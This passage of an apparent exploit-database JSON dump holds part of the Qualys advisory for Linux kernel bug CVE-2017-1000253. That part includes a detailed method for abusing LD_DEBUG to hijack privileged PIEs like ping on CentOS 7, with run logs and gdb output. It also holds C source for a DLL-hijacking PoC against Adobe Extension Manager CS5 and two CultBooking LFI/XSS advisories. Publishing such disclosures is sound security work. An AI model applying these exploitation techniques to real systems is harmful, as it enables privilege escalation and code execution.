load_bias + vaddr, elf_ppnt,\r\n- elf_prot, elf_flags, 0);\r\n+ elf_prot, elf_flags, total_size);\r\n if (BAD_ADDR(error)) {\r\n retval = IS_ERR((void *)error) ?\r\n PTR_ERR((void*)error) : -EINVAL;\r\n\r\n------------------------------------------------------------------------\r\n\r\nUnfortunately, this vulnerability is not limited to the PIEs whose\r\nread-write segment is larger than 128MB. Indeed, 128MB is the minimum\r\ndistance between the mmap_base and the highest address of the stack, not\r\nthe lowest address of the stack (CVE-2017-1000379): consequently, and as\r\nshown in our Stack Clash advisory, if we pass 1.5GB of argument strings\r\nto execve(), then any PIE may be mapped directly below the stack (and\r\ntrigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on\r\naverage, if each run takes 1 second).\r\n\r\n------------------------------------------------------------------------\r\nPost-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nAs a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit\r\nfor ping on CentOS-7 kernel versions \"3.10.0-514.21.2.el7.x86_64\" and\r\n\"3.10.0-514.26.1.el7.x86_64\" (the first kernel updates after the Stack\r\nClash). The PIE/stack layout on these post-Stack-Clash kernels differs\r\nslightly from the layout on pre-Stack-Clash kernels, since the size of\r\nthe stack guard-page was increased from 4KB to 1MB:\r\n\r\nLinux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 \r\n7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 \r\n7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 \r\n7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 \r\n7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 \r\n7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbaa6d1c18\r\n\r\nIn this example, the kernel's execve() code also mapped the PIE's\r\nread-write segment into the stack memory region, and divided the stack\r\ninto three parts, but:\r\n\r\n- 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not\r\n displayed as the \"[stack]\" in /proc/pid/maps (because rsp does not\r\n point there), but is correctly flagged as a stack in /proc/pid/smaps;\r\n\r\n- 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment, and is where rsp points to, after\r\n execve() returns to the userland;\r\n\r\n- 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again)\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps, but is\r\n correctly flagged as a stack in /proc/pid/smaps.\r\n\r\nOlder kernels (such as \"3.10.0-514.21.1.el7.x86_64\") and newer kernels\r\n(such as \"3.10.0-514.26.2.el7.x86_64\"), other distributions and other\r\nprivileged PIEs (including SUID-root PIEs), are also exploitable, but\r\nthe exploitation method must be adapted to slightly different PIE/stack\r\nlayouts. This is left as an exercise for the interested reader.\r\n\r\n\r\n========================================================================\r\nExploitation\r\n========================================================================\r\n\r\nOur CVE-2017-1000253.c exploit for CentOS-7 kernel versions\r\n\"3.10.0-514.21.2.el7.x86_64\" and \"3.10.0-514.26.1.el7.x86_64\" is very\r\nsimilar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the\r\nPIE's .dynamic section with a stack-based string operation, and force\r\nld.so to load and execute our own shared library), but with two\r\nimportant differences:\r\n\r\n- we do not need to jump over the stack guard-page, because rsp\r\n naturally points into the PIE's read-write segment after we trigger\r\n CVE-2017-1000253;\r\n\r\n- on 64-bit, all .dynamic tags contain null-bytes, a serious problem if\r\n we want to smash the .dynamic section with a null-terminated string.\r\n\r\nTo solve this problem, we smash the .dynamic section with multiple calls\r\nto process_dl_debug(), a function called by process_envvars() very early\r\nin dl_main(), before elf_get_dynamic_info() parses the .dynamic section.\r\nprocess_dl_debug() is called for each LD_DEBUG environment variable, and\r\ncalls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option\r\nin LD_DEBUG, thus allowing us to smash the .dynamic section with\r\nmultiple null-terminated strings, and hence multiple null-bytes.\r\n\r\nUnfortunately, the .dynamic entries that we build on the stack with\r\nprocess_dl_debug():\r\n\r\n- DT_SYMTAB (tag 0x0000000000000006, value unused);\r\n\r\n- DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's\r\n read-execute segment) to our own .dynstr section -- this is later\r\n transformed by elf_get_dynamic_info() into an absolute address,\r\n allowing us to bypass ASLR;\r\n\r\n- DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr\r\n section) to the pathname of our own shared library -- we use offset\r\n 0x238+1 into the PIE's read-execute segment, where the string\r\n \"lib64/ld-linux-x86-64.so.2\" is always stored;\r\n\r\n- DT_NULL (tag 0x0000000000000000, value unused);\r\n\r\nare partially destroyed by the stack-frames of further function calls\r\n(_dl_error_printf(), for example). Our solution to this problem is very\r\nspecific to CentOS 7, and restricts this particular exploit to the PIEs\r\nwhose .dynamic section's address modulo 16 is equal to 8:\r\n\r\n- we build our .dynamic tags through a stack variable used by memcpy()\r\n to store the address modulo 16 of the unknown options in LD_DEBUG;\r\n\r\n- we store our .dynamic values in an unused slot of process_dl_debug()'s\r\n stack-frame.\r\n\r\nOne last, unexpected problem with this particular exploit is that rsp\r\ncan never point into the highest part of the stack (after the kernel's\r\nexecve() code divided the stack into three parts): indeed, the kernel's\r\npage-fault handler would then try to insert a stack guard-page below the\r\nhighest part of the stack, and would SIGKILL our process because the\r\nPIE's read-write segment is already mapped there.\r\n\r\nThe solution to this problem is simple, but further restricts this\r\nparticular exploit to the PIEs whose read-write segment is large enough\r\nto encompass rsp: the kernel's page-fault handler will not try to insert\r\na stack guard-page there, because the PIE's read-write segment is not\r\nflagged as a stack (VM_GROWSDOWN). For example, on a default, minimal\r\nCentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and\r\nexploitable:\r\n\r\n[[email\u00a0protected] tmp]$ getcap -r / 2>/dev/null\r\n/usr/bin/ping = cap_net_admin,cap_net_raw+p\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ readelf -a /usr/bin/ping\r\n...\r\n Type Offset VirtAddr PhysAddr\r\n FileSiz MemSiz Flags Align\r\n...\r\n LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58\r\n 0x0000000000000988 0x00000000000241e8 RW 200000\r\n DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78\r\n 0x0000000000000240 0x0000000000000240 RW 8\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ ./CVE-2017-1000253 /usr/bin/ping\r\nargv_size 101903\r\nsmash_size 36864\r\nhi_smash_size 18432\r\nlo_smash_size 18432\r\nprobability 1/16028\r\ntry 1 1.409649 exited 2\r\ntry 2 1.097508 exited 2\r\ntry 3 1.060084 exited 2\r\ntry 4 1.059042 exited 2\r\ntry 5 1.090841 exited 2\r\ntry 6 1.068993 exited 2\r\ntry 7 1.093662 exited 2\r\n...\r\ntry 3411 1.018799 exited 2\r\ntry 3412 1.022255 exited 2\r\ntry 3413 1.022062 exited 2\r\ntry 3414 1.061316 exited 2\r\ntry 3415 1.024066 exited 2\r\ntry 3416 1.024864 exited 2\r\ntry 3417 1.043867 exited 2\r\nPid: 6301\r\nUid: 1000 1000 1000\r\nGid: 1000 1000 1000\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/status\r\nName: ping\r\n...\r\nPid: 6301\r\n...\r\nUid: 1000 1000 1000 1000\r\nGid: 1000 1000 1000 1000\r\n...\r\nCapInh: 0000000000000000\r\nCapPrm: 0000000000003000\r\nCapEff: 0000000000000000\r\n...\r\n\r\n[[email\u00a0protected] tmp]# cat /proc/6301/maps\r\n7ffbc573d000-7ffbc58f4000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc58f4000-7ffbc5af3000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af3000-7ffbc5af7000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af7000-7ffbc5af9000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbc5af9000-7ffbc5afe000 rw-p 00000000 00:00 0 \r\n7ffbc5afe000-7ffbc5aff000 r-xp 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5aff000-7ffbc5cfe000 ---p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cfe000-7ffbc5cff000 r--p 00000000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5cff000-7ffbc5d00000 rw-p 00001000 fd:00 4303255 /tmp/lib64/ld-linux-x86-64.so.2\r\n7ffbc5d00000-7ffbc5d20000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f15000-7ffbc5f18000 rw-p 00000000 00:00 0 \r\n7ffbc5f1c000-7ffbc5f1e000 rw-p 00000000 00:00 0 \r\n7ffbc5f1e000-7ffbc5f20000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbc5f20000-7ffbc5f21000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f21000-7ffbc5f22000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbc5f22000-7ffbc5f23000 rw-p 00000000 00:00 0 \r\n7ffbc5f23000-7ffbc5f31000 r-xp 00000000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6031000-7ffbc6130000 rw-p 00000000 00:00 0 \r\n7ffbc6130000-7ffbc6131000 r--p 0000d000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6131000-7ffbc6132000 rw-p 0000e000 fd:00 12968754 /usr/bin/ping\r\n7ffbc6132000-7ffbc6155000 rw-p 00000000 00:00 0 [stack]\r\n7ffbc6255000-7ffc29988000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\n\r\n[[email\u00a0protected] tmp]# gdb /usr/bin/ping 6301\r\n...\r\n(gdb) x/16384xg 0x7ffbc6130000 + 8\r\n0x7ffbc6130008: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130018: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130028: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130038: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130048: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130058: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6130068: 0x4141414141414141 0x4141414141414141\r\n...\r\n0x7ffbc6132678: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132688: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132698: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61326d8: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc61326e8: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61326f8: 0x0000000000000005 0x888908844e7ab888\r\n0x7ffbc6132708: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132718: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132728: 0x0041414141414141 0x00007ffbc6132740\r\n0x7ffbc6132738: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132748: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132758: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132768: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132778: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132788: 0x4141414141414141 0x00007ffbc6132700\r\n0x7ffbc6132798: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc61327a8: 0x0000000000000001 0x77777777777779b1\r\n0x7ffbc61327b8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61327d8: 0x0041414141414141 0x00007ffbc61327f0\r\n0x7ffbc61327e8: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61327f8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132808: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132818: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132828: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132838: 0x4141414141414141 0x00007ffbc6132800\r\n0x7ffbc6132848: 0x00007ffbc5d01463 0x4141414141410041\r\n0x7ffbc6132858: 0x0000000000000006 0x4848c8440e3a7848\r\n0x7ffbc6132868: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc6132878: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc6132888: 0x0000000000000000 0x00007ffbc61328a0\r\n0x7ffbc6132898: 0x00007ffbc5d01463 0x4141414141414141\r\n0x7ffbc61328a8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328b8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328c8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328d8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328e8: 0x4141414141414141 0x4141414141414141\r\n0x7ffbc61328f8: 0x4141414141414141 0x4141414141414141\r\n...\r\n(gdb) x/s 0x888908844e7ab888 + 0x77777777777779b1\r\n0x7ffbc5f23239: \"lib64/ld-linux-x86-64.so.2\"\r\n\r\n\r\n========================================================================\r\nAcknowledgments\r\n========================================================================\r\n\r\nWe thank Red Hat and the members of the [email\u00a0protected] list.\n\n# 0day.today [2018-04-08] #", "cvss": {"score": 5.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://0day.today/exploit/28653"}, {"lastseen": "2018-03-06T22:08:36", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2010-08-25T00:00:00", "published": "2010-08-25T00:00:00", "id": "1337DAY-ID-13853", "href": "https://0day.today/exploit/description/13853", "type": "zdt", "title": "Adobe Extension Manager CS5 v5.0.298 DLL Hijacking Exploit (dwmapi.dll)", "sourceData": "=======================================================================\r\nAdobe Extension Manager CS5 v5.0.298 DLL Hijacking Exploit (dwmapi.dll)\r\n=======================================================================\r\n\r\n/*\r\n \r\n Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit\r\n \r\n Vendor: Adobe Systems Inc.\r\n Product Web Page: http://www.adobe.com\r\n Affected Version: CS5 v5.0.298\r\n \r\n Summary: Easily install new extensions and manage the ones you already\r\n have with the Adobe Extension Manager.\r\n \r\n Desc: Adobe Extension Manager CS5 suffers from a dll hijacking vulnerability\r\n that enables the attacker to execute arbitrary code on a local level. The\r\n vulnerable extensions are .mxi and .mxp thru dwmapi.dll library.\r\n \r\n ----\r\n gcc -shared -o dwmapi.dll adobeem.c\r\n \r\n Compile and rename to dwmapi.dll, create a file test.mxi or test.mxp and\r\n put both files in same dir and execute.\r\n ----\r\n \r\n Tested on Microsoft Windows XP Professional SP3 (EN)\r\n \r\n \r\n \r\n Vulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n liquidworm gmail com\r\n \r\n Zero Science Lab - http://www.zeroscience.mk\r\n \r\n \r\n 25.08.2010\r\n \r\n*/\r\n \r\n \r\n#include <windows.h>\r\n \r\nBOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)\r\n{\r\n \r\n switch (fdwReason)\r\n {\r\n case DLL_PROCESS_ATTACH:\r\n dll_mll();\r\n case DLL_THREAD_ATTACH:\r\n case DLL_THREAD_DETACH:\r\n case DLL_PROCESS_DETACH:\r\n break;\r\n }\r\n \r\n return TRUE;\r\n}\r\n \r\nint dll_mll()\r\n{\r\n MessageBox(0, \"DLL Hijacked!\", \"DLL Message\", MB_OK);\r\n}\r\n\r\n\n\n# 0day.today [2018-03-06] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/13853"}], "zeroscience": [{"lastseen": "2019-04-02T04:51:06", "bulletinFamily": "exploit", "description": "Title: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability \nAdvisory ID: [ZSL-2011-4988](<ZSL-2011-4988.php>) \nType: Local \nImpact: System Access, Exposure of System Information, Exposure of Sensitive Information \nRisk: (4/5) \nRelease Date: 22.01.2011 \n\n\n##### Summary\n\nOpen source hotel booking system (Internet Booking Engine (IBE)). Via a central api called CultSwitch it is possible to make bookings and set the actual availabilities in the hotels pms. This is easy to install and easy to integrate with full support. \n\n##### Description\n\nCultBooking suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability when input passed thru the 'lang' parameter to cultbooking.php script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. \n\n##### Vendor\n\nCultuzz Digital Media GmbH - <http://www.cultuzz.com>\n\n##### Affected Version\n\n2.0.4 \n\n##### Tested On\n\nMicrosoft Windows XP Professional SP3 (EN) \nApache 2.2.14 (Win32) \nPHP 5.3.1 \nMySQL 5.1.41 \n\n##### Vendor Status\n\n[16.01.2011] Vulnerability discovered. \n[16.01.2011] Initial contact with the vendor. \n[20.01.2011] No response from vendor. \n[22.01.2011] Public advisory released. \n[07.02.2011] Vendor releases version 2.0.5 to address this issue. \n\n##### PoC\n\n[cultbooking_lfi.txt](<../../codes/cultbooking_lfi.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <http://www.exploit-db.com/exploits/16028/> \n[2] <http://www.exploit-db.com/ghdb/3677/> \n[3] <http://secunia.com/advisories/43036/> \n[4] <http://www.securityfocus.com/bid/45965> \n[5] <http://securityreason.com/exploitalert/9871> \n[6] <http://securityreason.com/exploitalert/9877> \n[7] <http://packetstormsecurity.org/files/97807> \n[8] <http://osvdb.org/show/osvdb/70632> \n[9] <http://xforce.iss.net/xforce/xfdb/64855>\n\n##### Changelog\n\n[22.01.2011] - Initial release \n[24.01.2011] - Added reference [3] and [4] \n[25.01.2011] - Added reference [5], [6] and [7] \n[26.01.2011] - Added reference [8] \n[27.01.2011] - Added reference [9] \n[07.02.2011] - Updated vendor status \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "modified": "2011-01-22T00:00:00", "published": "2011-01-22T00:00:00", "id": "ZSL-2011-4988", "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2011-4988.php", "title": "CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability", "type": "zeroscience", "sourceData": "REQUEST LIMIT REACHED", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "http://zeroscience.mk/en/vulnerabilities/../../codes/cultbooking_lfi.txt"}, {"lastseen": "2019-03-20T18:10:22", "bulletinFamily": "exploit", "description": "Title: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities \nAdvisory ID: [ZSL-2011-4987](<ZSL-2011-4987.php>) \nType: Remote \nImpact: Cross-Site Scripting, Exposure of System Information \nRisk: (3/5) \nRelease Date: 22.01.2011 \n\n\n##### Summary\n\nOpen source hotel booking system (Internet Booking Engine (IBE)). Via a central api called CultSwitch it is possible to make bookings and set the actual availabilities in the hotels pms. This is easy to install and easy to integrate with full support. \n\n##### Description\n\nCultBooking Hotel Booking System suffers from a XSS/PD vulnerability when parsing user input to the 'bookingcode', 'email' and 'lang' parameter via POST and GET methods in cultbooking.php script. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. \n\n##### Vendor\n\nCultuzz Digital Media GmbH - <http://www.cultuzz.com>\n\n##### Affected Version\n\n2.0.4 \n\n##### Tested On\n\nMicrosoft Windows XP Professional SP3 (EN) \nApache 2.2.14 (Win32) \nPHP 5.3.1 \nMySQL 5.1.41 \n\n##### Vendor Status\n\n[16.01.2011] Vulnerability discovered. \n[16.01.2011] Initial contact with the vendor. \n[20.01.2011] No response from vendor. \n[22.01.2011] Public advisory released. \n[07.02.2011] Vendor releases version 2.0.5 to address this issue. \n\n##### PoC\n\n[cultbooking_xss.txt](<../../codes/cultbooking_xss.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <http://www.exploit-db.com/exploits/16028/> \n[2] <http://www.exploit-db.com/ghdb/3677/> \n[3] <http://secunia.com/advisories/43036/> \n[4] <http://www.securityfocus.com/bid/45965> \n[5] <http://securityreason.com/exploitalert/9871> \n[6] <http://securityreason.com/exploitalert/9876> \n[7] <http://packetstormsecurity.org/files/97804> \n[8] <http://osvdb.org/show/osvdb/70631> \n[9] <http://xforce.iss.net/xforce/xfdb/64854>\n\n##### Changelog\n\n[22.01.2011] - Initial release \n[24.01.2011] - Added reference [3] and [4] \n[25.01.2011] - Added reference [5], [6] and [7] \n[26.01.2011] - Added reference [8] \n[27.01.2011] - Added reference [9] \n[07.02.2011] - Updated vendor status \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "modified": "2011-01-22T00:00:00", "published": "2011-01-22T00:00:00", "id": "ZSL-2011-4987", "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2011-4987.php", "title": "CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities", "type": "zeroscience", "sourceData": "REQUEST LIMIT REACHED", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "http://zeroscience.mk/en/vulnerabilities/../../codes/cultbooking_xss.txt"}]}
